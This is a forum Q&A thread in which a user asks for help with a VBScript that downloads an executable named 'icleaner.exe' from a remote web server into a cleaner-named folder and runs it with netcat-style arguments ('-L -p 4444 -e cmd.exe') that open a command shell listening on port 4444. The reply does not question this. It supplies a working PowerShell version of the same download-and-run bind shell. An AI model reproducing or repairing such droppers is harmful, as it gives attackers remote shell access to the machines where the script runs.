Solution needed to VBScript write to file faliure to Variable Location. RRS feed

  • Question

  • Grettings,

    I am trying to make a vbscript that download file to windows variable directory %Tmp%, each time i run the vbscript, I get write to file failed. I have been trying to work arounf this but not getting it right. I have attched my vbscript code below for review.

    dim http_obj
    dim stream_obj
    dim shell_obj
    set http_obj = CreateObject("Microsoft.XMLHTTP")
    set stream_obj = CreateObject("ADODB.Stream")
    set shell_obj = CreateObject("WScript.Shell")
    Dim objWShell
    Set objWShell = WScript.CreateObject("WScript.Shell")
    Dim appData
    appData = objWShell.expandEnvironmentStrings("%APPDATA%")
    APPPATH = appData + ("\cleaner\")
    URL = "http://webserer.com/icleaner.exe" 'Where to download the file from
    FILENAME = "icleaner.exe" 'Name to save the file (on the local system)
    RUNCMD = APPPATH + "icleaner.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
    http_obj.open "GET", URL, False
    stream_obj.type = 1
    stream_obj.write http_obj.responseBody
    stream_obj.savetofile APPPATH + FILENAME, 2
    shell_obj.run RUNCMD

    I will appreciate a good assistance on this.

    Thank you.

    Monday, February 17, 2020 11:27 AM

All replies

  • Since you are not a scripter or a programmer you should not be using VBScript.  It is obsolete.  PowerSHell is much easier to use and easier to learn.

    $url = 'http://webserer.com/icleaner.exe'
    $targetfile = Join-Path $env:temp icleaner.exe
    $wc = [System.Net.WebClient]::New()
    $wc.DownloadFIle($url, $targetfile)
    Start-Process $targetfile -ArgumentList '-L -p 4444 -e cmd.exe'


    • Edited by jrv Monday, February 17, 2020 7:09 PM
    Monday, February 17, 2020 7:09 PM